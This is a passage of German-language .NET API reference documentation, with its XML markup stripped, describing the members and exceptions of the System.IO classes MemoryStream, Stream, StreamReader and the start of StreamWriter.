-Eigenschaft wie angegeben festgelegt wurde. + Das Array vorzeichenloser Bytes, aus dem dieser Stream erstellt werden soll. + Der Index in , bei dem der Stream beginnt. + Die Länge des Streams in Bytes. + Die Einstellung der -Eigenschaft, mit der bestimmt wird, ob der Stream Schreibvorgänge unterstützt. + + ist null. + + oder ist negativ. + Die Länge des Puffers minus ist kleiner als . + + + Initialisiert eine neue Instanz der -Klasse auf der Grundlage des angegebenen Bereichs eines Bytearrays, wobei die -Eigenschaft und die Möglichkeit zum Aufruf von wie angegeben festgelegt werden. + Das Array vorzeichenloser Bytes, aus dem dieser Stream erstellt werden soll. + Der Index in , an dem der Stream beginnt. + Die Länge des Streams in Bytes. + Die Einstellung der -Eigenschaft, mit der bestimmt wird, ob der Stream Schreibvorgänge unterstützt. + true, um zu aktivieren, wodurch das Array vorzeichenloser Bytes zurückgegeben wird, aus dem der Stream erstellt wurde, andernfalls false. + + ist null. + + oder ist negativ. + Die Länge des Puffers minus ist kleiner als . + + + Initialisiert eine neue Instanz der -Klasse mit einer erweiterbaren Kapazität, die mit dem angegebenen Wert initialisiert wird. + Die Anfangsgröße des internen Arrays in Bytes. + + ist negativ. + + + Ruft einen Wert ab, der angibt, ob der aktuelle Stream Lesevorgänge unterstützt. + true, wenn der Stream geöffnet ist. + 2 + + + Ruft einen Wert ab, der angibt, ob der aktuelle Stream Suchvorgänge unterstützt. + true, wenn der Stream geöffnet ist. + 2 + + + Ruft einen Wert ab, der angibt, ob der aktuelle Stream Schreibvorgänge unterstützt. + true, wenn der Stream Schreibvorgänge unterstützt, andernfalls false. + 2 + + + Ruft die Anzahl der für diesen Stream reservierten Bytes ab oder legt diese fest. + Die Länge des Bereichs, der für den Stream im Puffer verwendet werden kann. + Es wurde eine Kapazität festgelegt, die negativ oder kleiner als die derzeitige Länge des Streams ist. + Der aktuelle Stream ist geschlossen. + set wird für einen Stream aufgerufen, dessen Kapazität nicht geändert werden kann. + 2 + + + Liest alle Bytes asynchron aus dem aktuellen Stream und schreibt sie unter Verwendung einer angegebenen Puffergröße und eines Abbruchtokens in einen anderen Stream. + Eine Aufgabe, die den asynchronen Kopiervorgang darstellt. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + Die Größe des Cookies in Bytes.Dieser Wert muss größer als 0 sein. + Das Token zum überwachen von Abbruchanforderungen . + + ist null. + + ist negativ oder 0 (null). + Entweder der aktuelle Stream oder der Zielstream wird freigegeben. + Der aktuelle Stream unterstützt kein Lesen oder Zielstream unterstützt keine Schreibvorgänge. + + + Gibt die von der -Klasse verwendeten nicht verwalteten Ressourcen frei und gibt (optional) auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Überschreibt die -Methode, sodass keine Aktion durchgeführt wird. + 2 + + + Löscht sämtliche Puffer für diesen Stream asynchron und überwacht Abbruchanforderungen. + Eine Aufgabe, die die asynchrone Leerung darstellt. + Das Token zum überwachen von Abbruchanforderungen . + Der Stream wurde freigegeben. + + + Ruft die Länge des Streams in Bytes ab. + Die Länge des Streams in Bytes. + Der Stream ist geschlossen. + 2 + + + Ruft die aktuelle Position im Stream ab oder legt diese fest. + Die aktuelle Position innerhalb des Streams. + Die Position ist auf einen negativen Wert oder einen größeren Wert als festgelegt. + Der Stream ist geschlossen. + 2 + + + Liest einen Byteblock aus dem aktuellen Stream und schreibt die Daten in einen Puffer. + Die Gesamtanzahl der in den Puffer geschriebenen Bytes.Dies kann weniger als die Anzahl der angeforderten Bytes sein, wenn diese Anzahl an Bytes derzeit nicht verfügbar ist, oder null, wenn das Ende des Streams erreicht ist, bevor mindestens ein Byte gelesen wurde. + Enthält nach dem Beenden dieser Methode das angegebene Bytearray mit den Werten zwischen und ( + - 1), die durch aus dem aktuellen Stream gelesene Zeichen ersetzt wurden. + Der nullbasierte Byteoffset im , ab dem die Daten aus dem aktuellen Stream gespeichert werden. + Die maximale Anzahl der zu lesenden Bytes. + + ist null. + + oder ist negativ. + + subtrahiert von der Pufferlänge ist kleiner als . + Der aktuelle Instanz des Streams ist geschlossen. + 2 + + + Liest eine Folge von Bytes asynchron aus dem aktuellen Stream, erhöht die Position im Stream um die Anzahl der gelesenen Bytes und überwacht Abbruchanfragen. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Datenstromende erreicht ist. + Der Puffer, in den die Daten geschrieben werden sollen. + Der Byteoffset im , ab dem Daten aus dem Stream geschrieben werden. + Die maximale Anzahl der zu lesenden Bytes. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Lesevorgänge werden vom Stream nicht unterstützt. + Der Stream wurde freigegeben. + Der Stream wird gerade durch einen früheren Lesevorgang. + + + Liest ein Byte aus dem aktuellen Stream. + Das Byte, das in umgewandelt wurde, oder -1, wenn das Ende des Streams erreicht wurde. + Der aktuelle Instanz des Streams ist geschlossen. + 2 + + + Legt die Position im aktuellen Stream auf den angegebenen Wert fest. + Die neue Position im Stream, die durch Kombinieren des anfänglichen Verweispunktes und des Offsets berechnet wird. + Die neue Position innerhalb des Streams.Diese ist relativ zum -Parameter und kann positiv oder negativ sein. + Ein Wert vom Typ , der den Bezugspunkt für die Suche darstellt. + Es wurde versucht, eine Suche vor dem Anfang des Streams auszuführen. + + ist größer als . + Ein ist ungültig. - oder - hat einen arithmetischen Überlauf verursacht. + Der aktuelle Instanz des Streams ist geschlossen. + 2 + + + Legt die Länge des aktuellen Streams auf den angegebenen Wert fest. + Der Wert, auf den die Länge festgelegt werden soll. + Die Größe des aktuellen Streams kann nicht geändert werden, und übersteigt die aktuelle Kapazität.- oder - Der aktuelle Stream unterstützt keine Schreibvorgänge. + + ist negativ oder größer als die maximale Länge von , wobei die maximale Länge ( - Ursprung) ist, und der Ursprung der Index des zugrunde liegenden Puffers ist, an dem der Stream beginnt. + 2 + + + Schreibt den Inhalt des Streams in ein Bytearray, unabhängig von der -Eigenschaft. + Ein neues Bytearray. + 2 + + + Gibt das Array vorzeichenloser Bytes zurück, aus dem dieser Stream erstellt wurde.Der Rückgabewert gibt an, ob die Konvertierung erfolgreich abgeschlossen wurde. + true, wenn die Konvertierung erfolgreich war, andernfalls false. + Das Bytearraysegment, aus dem der Stream erstellt wurde. + + + Schreibt einen Byteblock mit den aus einem Puffer gelesenen Daten in den aktuellen Stream. + Der Puffer, aus dem Daten geschrieben werden sollen. + Der nullbasierte Byteoffset im , ab dem Bytes in den aktuellen Stream kopiert werden. + Die maximale Anzahl der zu schreibenden Bytes. + + ist null. + Der Stream unterstützt das Schreiben nicht.Weitere Informationen finden Sie unter .- oder - Der Abstand der aktuellen Position zum Ende des Streams beträgt weniger als Bytes, und die Kapazität kann nicht geändert werden. + + subtrahiert von der Pufferlänge ist kleiner als . + + oder ist negativ. + E/A-Fehler. + Der aktuelle Instanz des Streams ist geschlossen. + 2 + + + Schreibt beim Überschreiben in einer abgeleiteten Klasse eine Folge von Bytes asynchron in den aktuellen Stream und erhöht die aktuelle Position im Stream um die Anzahl der geschriebenen Bytes und überwacht Abbruchanforderungen. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Der Puffer, aus dem Daten geschrieben werden sollen. + Der nullbasierte Byteoffset im , ab dem Bytes in den Stream kopiert werden. + Die maximale Anzahl der zu schreibenden Bytes. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Stream unterstützt das Schreiben nicht. + Der Stream wurde freigegeben. + Der Stream wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Byte an die aktuelle Position im aktuellen Stream. + Das zu schreibende Byte. + Der Stream unterstützt das Schreiben nicht.Weitere Informationen finden Sie unter .- oder - Die aktuelle Position befindet sich am Ende des Streams, und die Kapazität kann nicht geändert werden. + Der aktuelle Stream ist geschlossen. + 2 + + + Schreibt den gesamten Inhalt dieses Arbeitsspeicherstreams in einen anderen Stream. + Der Stream, in den dieser Arbeitsspeicherstream geschrieben werden soll. + + ist null. + Der aktuelle Stream oder der Zielstream ist geschlossen. + 2 + + + Gibt die Position in einem Stream an, der für die Suche verwendet werden soll. + 2 + + + Gibt den Anfang eines Streams an. + + + Gibt die aktuelle Position innerhalb eines Streams an. + + + Gibt das Ende eines Streams an. + + + Stellt eine allgemeine Ansicht einer Folge von Bytes bereit.Dies ist eine abstrakte Klasse.Um den .NET Framework-Quellcode für diesen Typ zu durchsuchen, finden Sie unter der Reference Source. + 2 + + + Initialisiert eine neue Instanz der -Klasse. + + + Ruft beim Überschreiben in einer abgeleiteten Klasse einen Wert ab, der angibt, ob der aktuelle Stream Lesevorgänge unterstützt. + true, wenn der Stream Lesevorgänge unterstützt, andernfalls false. + 1 + + + Ruft beim Überschreiben in einer abgeleiteten Klasse einen Wert ab, der angibt, ob der aktuelle Stream Suchvorgänge unterstützt. + true, wenn der Stream Suchvorgänge unterstützt, andernfalls false. + 1 + + + Ruft einen Wert ab, der bestimmt, ob für den aktuellen Stream ein Timeout möglich ist. + Ein Wert, der bestimmt, ob für den aktuellen Stream ein Timeout möglich ist. + 2 + + + Ruft beim Überschreiben in einer abgeleiteten Klasse einen Wert ab, der angibt, ob der aktuelle Stream Schreibvorgänge unterstützt. + true, wenn der Stream Schreibvorgänge unterstützt, andernfalls false. + 1 + + + Liest alle Bytes aus dem aktuellen Stream und schreibt sie in einen anderen Datenstrom. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + + ist null. + Der aktuelle Stream unterstützt keine Lesevorgänge.- oder - unterstützt das Schreiben nicht. + Entweder der aktuelle Stream oder wurde geschlossen, bevor die -Methode aufgerufen wurde. + Ein E/A-Fehler ist aufgetreten. + + + Liest alles Bytes aus dem aktuellen Datenstrom und schreibt sie unter Verwendung einer angegebenen Puffergröße in einen anderen Datenstrom. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + Die Größe des Puffers.Dieser Wert muss größer als 0 sein.Die Standardgröße ist 81920. + + ist null. + + ist negativ oder 0 (null). + Der aktuelle Stream unterstützt keine Lesevorgänge.- oder - unterstützt das Schreiben nicht. + Entweder der aktuelle Stream oder wurde geschlossen, bevor die -Methode aufgerufen wurde. + Ein E/A-Fehler ist aufgetreten. + + + Liest die Bytes asynchron aus dem aktuellen Stream und schreibt sie in einen anderen Stream. + Eine Aufgabe, die den asynchronen Kopiervorgang darstellt. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + + ist null. + Entweder der aktuelle Stream oder der Zielstream wird freigegeben. + Der aktuelle Stream unterstützt kein Lesen oder Zielstream unterstützt keine Schreibvorgänge. + + + Liest die Bytes asynchron aus dem aktuellen Stream und schreibt sie unter Verwendung einer angegebenen Puffergröße in einen anderen Stream. + Eine Aufgabe, die den asynchronen Kopiervorgang darstellt. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + Die Größe des Cookies in Bytes.Dieser Wert muss größer als 0 sein.Die Standardgröße ist 81920. + + ist null. + + ist negativ oder 0 (null). + Entweder der aktuelle Stream oder der Zielstream wird freigegeben. + Der aktuelle Stream unterstützt kein Lesen oder Zielstream unterstützt keine Schreibvorgänge. + + + Liest die Bytes asynchron aus dem aktuellen Stream und schreibt sie unter Verwendung einer angegebenen Puffergröße und eines Abbruchtokens in einen anderen Stream. + Eine Aufgabe, die den asynchronen Kopiervorgang darstellt. + Der Stream, in den der Inhalt des aktuellen Stream kopiert wird. + Die Größe des Cookies in Bytes.Dieser Wert muss größer als 0 sein.Die Standardgröße ist 81920. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + + ist null. + + ist negativ oder 0 (null). + Entweder der aktuelle Stream oder der Zielstream wird freigegeben. + Der aktuelle Stream unterstützt kein Lesen oder Zielstream unterstützt keine Schreibvorgänge. + + + Gibt alle vom verwendeten Ressourcen frei. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Löscht beim Überschreiben in einer abgeleiteten Klasse alle Puffer für diesen Stream und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + E/A-Fehler. + 2 + + + Löscht sämtliche Puffer für diesen Stream asynchron und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + Eine Aufgabe, die die asynchrone Leerung darstellt. + Der Stream wurde freigegeben. + + + Löscht alle Puffer für diesen Stream asynchron, veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät und überwacht Abbruchanforderungen. + Eine Aufgabe, die die asynchrone Leerung darstellt. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + Der Stream wurde freigegeben. + + + Ruft beim Überschreiben in einer abgeleiteten Klasse die Länge des Streams in Bytes ab. + Ein Long-Wert, der die Länge des Streams in Bytes darstellt. + Eine aus Stream abgeleitete Klasse unterstützt keine Suchvorgänge. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 1 + + + Ein Stream ohne Sicherungsspeicher. + 1 + + + Ruft beim Überschreiben in einer abgeleiteten Klasse die Position im aktuellen Stream ab oder legt diese fest. + Die aktuelle Position innerhalb des Streams. + E/A-Fehler. + Der Stream unterstützt keine Suchvorgänge. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 1 + + + Liest beim Überschreiben in einer abgeleiteten Klasse eine Folge von Bytes aus dem aktuellen Stream und erhöht die Position im Stream um die Anzahl der gelesenen Bytes. + Die Gesamtanzahl der in den Puffer gelesenen Bytes.Dies kann weniger als die Anzahl der angeforderten Bytes sein, wenn diese Anzahl an Bytes derzeit nicht verfügbar ist, oder 0, wenn das Ende des Streams erreicht ist. + Ein Bytearray.Nach dem Beenden dieser Methode enthält der Puffer das angegebene Bytearray mit den Werten zwischen und ( + - 1), die durch aus der aktuellen Quelle gelesene Bytes ersetzt wurden. + Der nullbasierte Byteoffset im , ab dem die aus dem aktuellen Stream gelesenen Daten gespeichert werden. + Die maximale Anzahl an Bytes, die aus dem aktuellen Stream gelesen werden sollen. + Die Summe aus und ist größer als die Pufferlänge. + + ist null. + + oder ist negativ. + E/A-Fehler. + Lesevorgänge werden vom Stream nicht unterstützt. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 1 + + + Liest eine Bytesequenz asynchron aus dem aktuellen Stream und setzt die Position in diesem Stream um die Anzahl der gelesenen Bytes nach vorn. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Datenstromende erreicht ist. + Der Puffer, in den die Daten geschrieben werden sollen. + Der Byteoffset im , ab dem Daten aus dem Stream geschrieben werden. + Die maximale Anzahl der zu lesenden Bytes. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Lesevorgänge werden vom Stream nicht unterstützt. + Der Stream wurde freigegeben. + Der Stream wird gerade durch einen früheren Lesevorgang. + + + Liest eine Folge von Bytes asynchron aus dem aktuellen Stream, erhöht die Position im Stream um die Anzahl der gelesenen Bytes und überwacht Abbruchanfragen. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Datenstromende erreicht ist. + Der Puffer, in den die Daten geschrieben werden sollen. + Der Byteoffset im , ab dem Daten aus dem Stream geschrieben werden. + Die maximale Anzahl der zu lesenden Bytes. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Lesevorgänge werden vom Stream nicht unterstützt. + Der Stream wurde freigegeben. + Der Stream wird gerade durch einen früheren Lesevorgang. + + + Liest ein Byte aus dem Stream und erhöht die Position im Stream um ein Byte, oder gibt -1 zurück, wenn das Ende des Streams erreicht ist. + Das Byte ohne Vorzeichen, umgewandelt in Int32, oder -1, wenn das Ende des Streams erreicht ist. + Lesevorgänge werden vom Stream nicht unterstützt. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 2 + + + Ruft einen Wert in Millisekunden ab, der bestimmt, wie lange der Stream versucht, Lesevorgänge durchzuführen, bevor ein Timeout auftritt, oder legt diesen fest. + Ein Wert in Millisekunden, der bestimmt, wie lange der Stream versucht, Lesevorgänge durchzuführen, bevor ein Timeout auftritt. + Die -Methode löst immer eine aus. + 2 + + + Legt beim Überschreiben in einer abgeleiteten Klasse die Position im aktuellen Stream fest. + Die neue Position innerhalb des aktuellen Streams. + Ein Byteoffset relativ zum -Parameter. + Ein Wert vom Typ , der den Bezugspunkt angibt, von dem aus die neue Position ermittelt wird. + E/A-Fehler. + Der Stream unterstützt keine Suchvorgänge. Dies ist beispielsweise der Fall, wenn der Stream aus einer Pipe- oder Konsolenausgabe erstellt wird. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 1 + + + Legt beim Überschreiben in einer abgeleiteten Klasse die Länge des aktuellen Streams fest. + Die gewünschte Länge des aktuellen Streams in Bytes. + E/A-Fehler. + Der Stream unterstützt nicht sowohl Lese- als auch Schreibvorgänge. Dies ist beispielsweise der Fall, wenn der Stream aus einer Pipe- oder Konsolenausgabe erstellt wird. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 2 + + + Schreibt beim Überschreiben in einer abgeleiteten Klasse eine Folge von Bytes in den aktuellen Stream und erhöht die aktuelle Position im Stream um die Anzahl der geschriebenen Bytes. + Ein Bytearray.Diese Methode kopiert Bytes aus dem in den aktuellen Stream. + Der nullbasierte Byteoffset im , ab dem Bytes in den aktuellen Stream kopiert werden. + Die Anzahl an Bytes, die in den aktuellen Stream geschrieben werden sollen. + Die Summe der  und  ist größer als die Länge des Puffers. + + ist null. + + oder  ist negativ. + E/a-Fehler, wie z. B. die angegebene Datei nicht gefunden werden kann. + Der Stream unterstützt das Schreiben nicht. + + wurde aufgerufen, nachdem der Stream geschlossen wurde. + 1 + + + Schreibt eine Bytesequenz asynchron in den aktuellen Stream und setzt die aktuelle Position in diesem Stream um die Anzahl der geschriebenen Bytes nach vorn. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Der Puffer, aus dem Daten geschrieben werden sollen. + Der nullbasierte Byteoffset im , ab dem Bytes in den Stream kopiert werden. + Die maximale Anzahl der zu schreibenden Bytes. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Stream unterstützt das Schreiben nicht. + Der Stream wurde freigegeben. + Der Stream wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt beim Überschreiben in einer abgeleiteten Klasse eine Folge von Bytes asynchron in den aktuellen Stream und erhöht die aktuelle Position im Stream um die Anzahl der geschriebenen Bytes und überwacht Abbruchanforderungen. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Der Puffer, aus dem Daten geschrieben werden sollen. + Der nullbasierte Byteoffset im , ab dem Bytes in den Stream kopiert werden. + Die maximale Anzahl der zu schreibenden Bytes. + Das Token zum überwachen von Abbruchanforderungen .Der Standardwert ist . + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Stream unterstützt das Schreiben nicht. + Der Stream wurde freigegeben. + Der Stream wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Byte an die aktuellen Position im Stream und erhöht die aktuelle Position im Stream um ein Byte. + Das Byte, das in den Stream geschrieben werden soll. + E/A-Fehler. + Der Stream unterstützt keine Schreibvorgänge, oder er wurde bereits geschlossen. + Es wurden Methoden aufgerufen, nachdem der Stream geschlossen wurde. + 2 + + + Ruft einen Wert in Millisekunden ab, der bestimmt, wie lange der Stream versucht, Schreibvorgänge durchzuführen, bevor ein Timeout auftritt, oder legt diesen fest. + Ein Wert in Millisekunden, der bestimmt, wie lange der Stream versucht, Schreibvorgänge durchzuführen, bevor ein Timeout auftritt. + Die -Methode löst immer eine aus. + 2 + + + Implementiert einen , der Zeichen aus einem Bytestream in einer bestimmten Codierung liest.Um den .NET Framework-Quellcode für diesen Typ zu durchsuchen, finden Sie unter der Reference Source. + 1 + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream. + Der zu lesende Stream. + + unterstützt keine Lesevorgänge. + + ist null. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream mit der angegebenen Option zur Erkennung der Bytereihenfolgemarken. + Der zu lesende Stream. + Gibt an, ob am Anfang der Datei nach Bytereihenfolgemarken gesucht werden soll. + + unterstützt keine Lesevorgänge. + + ist null. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream und mit der angegebenen Zeichencodierung. + Der zu lesende Stream. + Die zu verwendende Zeichencodierung. + + unterstützt keine Lesevorgänge. + + oder ist null. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream mit der angegebenen Zeichencodierung und Option zur Erkennung der Bytereihenfolgemarken. + Der zu lesende Stream. + Die zu verwendende Zeichencodierung. + Gibt an, ob am Anfang der Datei nach Bytereihenfolgemarken gesucht werden soll. + + unterstützt keine Lesevorgänge. + + oder ist null. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream mit der angegebenen Zeichencodierung, Option zur Erkennung der Bytereihenfolgemarken und Puffergröße. + Der zu lesende Stream. + Die zu verwendende Zeichencodierung. + Gibt an, ob am Anfang der Datei nach Bytereihenfolgemarken gesucht werden soll. + Die Mindestgröße des Puffers. + Lesevorgänge werden vom Stream nicht unterstützt. + + oder ist null. + + ist kleiner oder gleich 0 (null). + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream auf Grundlage der angegebenen Zeichencodierung, der Option zur Erkennung der Bytereihenfolgenmarken, der Puffergröße und lässt optional den Stream geöffnet. + Der zu lesende Stream. + Die zu verwendende Zeichencodierung. + true, um am Anfang der Datei nach Bytereihenfolgemarken zu suchen, andernfalls false. + Die Mindestgröße des Puffers. + true, um den Datenstrom geöffnet zu lassen, nach dem das -Objekt freigegeben wurde; andernfalls false. + + + Gibt den zugrunde liegenden Stream zurück. + Der zugrunde liegende Stream. + 2 + + + Ruft die aktuelle Zeichencodierung ab, die das aktuelle -Objekt verwendet. + Die durch das aktuelle Leseprogramm verwendete aktuelle Zeichencodierung.Der Wert kann sich nach dem ersten Aufruf einer -Methode von ändern, da die automatische Erkennung der Codierung erst nach dem ersten Aufruf einer -Methode erfolgt. + 2 + + + Löscht den internen Puffer. + 2 + + + Schließt den zugrunde liegenden Stream und gibt die vom verwendeten nicht verwalteten Ressourcen sowie optional auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Ruft einen Wert ab, der angibt, ob sich die aktuelle Streamposition am Ende des Streams befindet. + true, wenn sich die aktuelle Streamposition am Ende des Streams befindet, andernfalls false. + Der zugrunde liegende Stream wurde verworfen. + 1 + + + Ein -Objekt um einen leeren Stream. + 1 + + + Gibt das nächste verfügbare Zeichen zurück, ohne es zu verarbeiten. + Eine ganze Zahl, die das nächste zu lesende Zeichen darstellt, oder -1, wenn keine zu lesenden Zeichen vorhanden sind oder der Stream keine Suchvorgänge unterstützt. + E/A-Fehler. + 1 + + + Liest das nächste Zeichen aus dem Eingabestream und verschiebt die Zeichenposition um ein Zeichen nach vorn. + Das nächste Zeichen im Eingabestream wird als -Objekt dargestellt, oder -1, wenn keine weiteren Zeichen verfügbar sind. + E/A-Fehler. + 1 + + + Liest vom aktuellen Stream ein angegebenes Maximum von Zeichen in einen Puffer ein und beginnt dabei am angegebenen Index. + Die Anzahl der gelesenen Zeichen, bzw. 0 (null), wenn das Ende des Streams erreicht ist und keine Daten gelesen wurden.Die Anzahl ist gleich dem -Parameter oder kleiner, abhängig davon, ob die Daten im Stream verfügbar sind. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und (), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Der Index von , bei dem mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen. + Die Länge des Puffers minus ist kleiner als . + + ist null. + + oder ist negativ. + Es ist ein E/A-Fehler aufgetreten, beispielsweise das Schließen eines Streams. + 1 + + + Liest eine angegebene Höchstanzahl von Zeichen asynchron aus dem aktuellen Stream und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Datenstromende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende des Streams erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer geschrieben wurde, erfolgt die aktuelle Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Stream wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine angegebene Höchstanzahl von Zeichen aus dem aktuellen Stream und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Die Anzahl der gelesenen Zeichen.Die Anzahl ist kleiner oder gleich , je nachdem, ob alle Eingabezeichen gelesen wurden. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und (), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen. + + ist null. + Die Länge des Puffers minus ist kleiner als . + + oder ist negativ. + Der ist geschlossen. + Ein E/A-Fehler ist aufgetreten. + + + Liest eine angegebene Höchstanzahl von Zeichen asynchron aus dem aktuellen Stream und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Datenstromende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende des Streams erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer geschrieben wurde, erfolgt die Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Stream wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine Zeile von Zeichen aus dem aktuellen Stream und gibt die Daten als Zeichenfolge zurück. + Die nächste Zeile des Eingabestreams bzw. null, wenn das Ende des Eingabestreams erreicht ist. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + E/A-Fehler. + 1 + + + Liest eine Zeile von Zeichen asynchron aus dem aktuellen Stream und gibt die Daten als Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die nächste Zeile aus dem Stream oder ist null, wenn alle Zeichen gelesen wurden. + Die Anzahl der Zeichen in der nächsten Zeile ist größer als . + Der Stream wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest alle Zeichen von der aktuellen Position bis zum Ende des Streams. + Der Rest des Streams als Zeichenfolge, von der aktuellen Position bis zum Ende.Wenn die aktuelle Position am Ende des Streams ist, wird eine leere Zeichenfolge ("") zurückgegeben. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + E/A-Fehler. + 1 + + + Liest alle Zeichen asynchron von der aktuellen Position bis zum Ende des Streams und gibt diese als einzelne Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält eine Zeichenfolge mit den Zeichen von der aktuellen Position bis zum Ende des Streams. + Die Anzahl der Zeichen ist niedriger als . + Der Stream wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Implementiert einen zum Schreiben von Zeichen in einen Stream in einer bestimmten Codierung.Um den .NET Framework-Quellcode für diesen Typ zu durchsuchen, rufen Sie die Verweisquelle auf. + 1 + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream unter Verwendung der UTF-8-Codierung und der 